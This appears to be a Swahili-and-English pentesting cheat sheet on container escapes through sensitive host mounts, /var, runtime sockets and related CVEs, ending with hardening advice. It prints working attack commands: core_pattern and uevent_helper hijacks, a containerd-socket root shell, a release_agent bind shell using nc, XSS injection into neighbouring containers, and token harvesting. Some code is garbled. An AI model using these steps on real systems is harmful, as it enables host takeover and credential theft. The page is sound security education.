Sensitive Mounts

Ufunuo wa /proc, /sys, na /var bila kutengwa kwa namespace kunaleta hatari kubwa za usalama, ikiwa ni pamoja na kuongezeka kwa uso wa shambulio na ufunuo wa taarifa. Maktaba haya yana faili nyeti ambazo, ikiwa zimepangwa vibaya au kufikiwa na mtumiaji asiyeidhinishwa, zinaweza kusababisha kutoroka kwa kontena, mabadiliko ya mwenyeji, au kutoa taarifa zinazosaidia mashambulizi zaidi. Kwa mfano, kuunganisha vibaya -v /proc:/host/proc kunaweza kupita ulinzi wa AppArmor kutokana na asili yake ya msingi wa njia, na kuacha /host/proc bila ulinzi.

Unaweza kupata maelezo zaidi ya kila hatari inayoweza kutokea katika https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

procfs Vulnerabilities

/proc/sys

Maktaba hii inaruhusu ufikiaji wa kubadilisha vigezo vya kernel, kawaida kupitia sysctl(2), na ina subdirectories kadhaa za wasiwasi:

/proc/sys/kernel/core_pattern

• Imeelezwa katika core(5).

• Ikiwa unaweza kuandika ndani ya faili hii inawezekana kuandika bomba | ikifuatiwa na njia ya programu au skripti ambayo itatekelezwa baada ya ajali kutokea.

• Mshambuliaji anaweza kupata njia ndani ya mwenyeji kwa kontena lake akitekeleza mount na kuandika njia ya binary ndani ya mfumo wa faili wa kontena lake. Kisha, angamiza programu ili kufanya kernel itekeleze binary nje ya kontena.

• Mfano wa Upimaji na Ukatili:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler

Angalia hii posti kwa maelezo zaidi.

Mfano wa programu inayoshindwa:

int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}

/proc/sys/kernel/modprobe

• Imeelezwa katika proc(5).
• Inashikilia njia ya mzigo wa moduli ya kernel, inayoitwa kwa ajili ya kupakia moduli za kernel.
• Mfano wa Kuangalia Upatikanaji:

ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe

/proc/sys/vm/panic_on_oom

• Imejumuishwa katika proc(5).
• Bendera ya kimataifa inayodhibiti ikiwa kernel inapaswa kuanguka au kuitisha OOM killer wakati hali ya OOM inatokea.

/proc/sys/fs

• Kulingana na proc(5), ina chaguzi na taarifa kuhusu mfumo wa faili.
• Upatikanaji wa kuandika unaweza kuwezesha mashambulizi mbalimbali ya kukatiza huduma dhidi ya mwenyeji.

/proc/sys/fs/binfmt_misc

• Inaruhusu kujiandikisha kwa wakalimani wa muundo wa binary usio wa asili kulingana na nambari yake ya uchawi.
• Inaweza kusababisha kupanda kwa haki au upatikanaji wa root shell ikiwa /proc/sys/fs/binfmt_misc/register inaweza kuandikwa.
• Ukatili unaohusiana na maelezo:
• Poor man's rootkit via binfmt_misc
• Mafunzo ya kina: Video link

Wengine katika /proc

/proc/config.gz

• Inaweza kufichua usanidi wa kernel ikiwa CONFIG_IKCONFIG_PROC imewezeshwa.
• Inafaida kwa washambuliaji kubaini udhaifu katika kernel inayotumika.

/proc/sysrq-trigger

• Inaruhusu kuitisha amri za Sysrq, ambayo inaweza kusababisha upya wa mfumo mara moja au hatua nyingine muhimu.
• Mfano wa Kuanzisha Upya Mwenyeji:

echo b > /proc/sysrq-trigger # Inarejesha mwenyeji

/proc/kmsg

• Inafichua ujumbe wa buffer ya ring ya kernel.
• Inaweza kusaidia katika ukosefu wa kernel, kuvuja kwa anwani, na kutoa taarifa nyeti za mfumo.

/proc/kallsyms

• Inataja alama za kernel zilizotolewa na anwani zao.
• Muhimu kwa maendeleo ya ukosefu wa kernel, hasa kwa kushinda KASLR.
• Taarifa za anwani zimewekwa vizuizi ikiwa kptr_restrict imewekwa kuwa 1 au 2.
• Maelezo katika proc(5).

/proc/[pid]/mem

• Inashirikiana na kifaa cha kumbukumbu ya kernel /dev/mem.
• Kihistoria ilikuwa na udhaifu wa mashambulizi ya kupanda kwa haki.
• Zaidi kuhusu proc(5).

/proc/kcore

• Inawakilisha kumbukumbu halisi ya mfumo katika muundo wa ELF core.
• Kusoma kunaweza kuvuja maudhui ya kumbukumbu ya mfumo wa mwenyeji na kontena nyingine.
• Ukubwa mkubwa wa faili unaweza kusababisha matatizo ya kusoma au kuanguka kwa programu.
• Matumizi ya kina katika Dumping /proc/kcore in 2019.

/proc/kmem

• Kiolesura mbadala kwa /dev/kmem, kinawakilisha kumbukumbu ya virtual ya kernel.
• Inaruhusu kusoma na kuandika, hivyo kubadilisha moja kwa moja kumbukumbu ya kernel.

/proc/mem

• Kiolesura mbadala kwa /dev/mem, kinawakilisha kumbukumbu halisi.
• Inaruhusu kusoma na kuandika, kubadilisha kumbukumbu yote kunahitaji kutatua anwani za virtual hadi halisi.

/proc/sched_debug

• Inarudisha taarifa za kupanga mchakato, ikipita ulinzi wa PID namespace.
• Inafichua majina ya michakato, IDs, na vitambulisho vya cgroup.

/proc/[pid]/mountinfo

• Inatoa taarifa kuhusu maeneo ya kupandisha katika namespace ya kupandisha ya mchakato.
• Inafichua eneo la rootfs ya kontena au picha.

Udhihirisho wa /sys

/sys/kernel/uevent_helper

• Inatumika kwa kushughulikia uevents za kifaa cha kernel.
• Kuandika kwenye /sys/kernel/uevent_helper kunaweza kutekeleza skripti zisizo za kawaida wakati wa kuanzisha uevent.
• Mfano wa Ukatili:

#### Creates a payload

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

#### Finds host path from OverlayFS mount for container

host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

#### Sets uevent_helper to malicious helper

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

#### Triggers a uevent

echo change > /sys/class/mem/null/uevent

#### Reads the output

cat /output

/sys/class/thermal

• Controls temperature settings, potentially causing DoS attacks or physical damage.

/sys/kernel/vmcoreinfo

• Leaks kernel addresses, potentially compromising KASLR.

/sys/kernel/security

• Houses securityfs interface, allowing configuration of Linux Security Modules like AppArmor.
• Access might enable a container to disable its MAC system.

/sys/firmware/efi/vars and /sys/firmware/efi/efivars

• Exposes interfaces for interacting with EFI variables in NVRAM.
• Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

/sys/kernel/debug

• debugfs offers a "no rules" debugging interface to the kernel.
• History of security issues due to its unrestricted nature.

/var Vulnerabilities

The host's /var folder contains container runtime sockets and the containers' filesystems. If this folder is mounted inside a container, that container will get read-write access to other containers' file systems with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other containers and applications that run in them.

Kubernetes

If a container like this is deployed with Kubernetes:

apiVersion: v1  
kind: Pod  
metadata:  
  name: pod-mounts-var  
  labels:  
    app: pentest  
spec:  
  containers:  
  - name: pod-mounts-var-folder  
    image: alpine  
    volumeMounts:  
    - mountPath: /host-var  
      name: noderoot  
    command: [ "/bin/sh", "-c", "--" ]  
    args: [ "while true; do sleep 30; done;" ]  
  volumes:  
  - name: noderoot  
    hostPath:  
      path: /var

Inside the pod-mounts-var-folder container:

/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="sw"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html

The XSS was achieved:

Note that the container DOES NOT require a restart or anything. Any changes made via the mounted /var folder will be applied instantly.

You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

Access to cloud credentials

The container can read K8s serviceaccount tokens or AWS webidentity tokens which allows the container to gain unauthorized access to K8s or cloud:

/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token

Docker

The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually the other containers' filesystems are available under a different base path:

$ docker info | grep -i 'docker root\|storage driver'
Dereva ya Hifadhi: overlay2
Dir ya Msingi ya Docker: /var/lib/docker

So the filesystems are under /var/lib/docker/overlay2/:

$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d  
drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496  
drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f  
drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2  
<SNIP>

Note

The actual paths may differ in different setups, which is why your best bet is to use the find command to locate the other containers' filesystems and SA / web identity tokens

Other Sensitive Host Sockets and Directories (2023-2025)

Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. Treat the following paths as highly sensitive and never expose them to untrusted workloads:

/run/containerd/containerd.sock     # socket ya containerd CRI  
/var/run/crio/crio.sock             # socket ya CRI-O runtime  
/run/podman/podman.sock             # API ya Podman (ya mizizi au isiyo na mizizi)  
/var/run/kubelet.sock               # API ya Kubelet kwenye nodi za Kubernetes  
/run/firecracker-containerd.sock    # Kata / Firecracker

Attack example abusing a mounted containerd socket:

# ndani ya kontena (socket imewekwa kwenye /host/run/containerd.sock)
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
chroot /host /bin/bash   # shell kamili ya root kwenye mwenyeji

A similar technique works with crictl, podman or the kubelet API once their respective sockets are exposed.

Writable cgroup v1 mounts are also dangerous. If /sys/fs/cgroup is bind-mounted rw and the host kernel is vulnerable to CVE-2022-0492, an attacker can set a malicious release_agent and execute arbitrary code in the initial namespace:

# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release

echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # requires CVE-2022-0492

echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs"  # inasababisha tukio la empty-cgroup

When the last process leaves the cgroup, /tmp/pwn runs as root on the host. Patched kernels (>5.8 with commit 32a0db39f30d) validate the writer’s capabilities and block this abuse.

Mount-Related Escape CVEs (2023-2025)

• CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or docker exec could start a container whose working directory is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).

FROM scratch
WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
CMD ["/bin/sh"]

• CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be copy-up into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted docker build on a vulnerable daemon.

Hardening Reminders (2025)

1. Bind-mount host paths read-only whenever possible and add nosuid,nodev,noexec mount options.
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
4. In Kubernetes, use securityContext.readOnlyRootFilesystem: true, the restricted PodSecurity profile and avoid hostPath volumes pointing to the paths listed above.

References

• runc CVE-2024-21626 advisory
• Unit 42 analysis of CVE-2022-0492
• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
• Understanding and Hardening Linux Containers
• Abusing Privileged and Unprivileged Linux Containers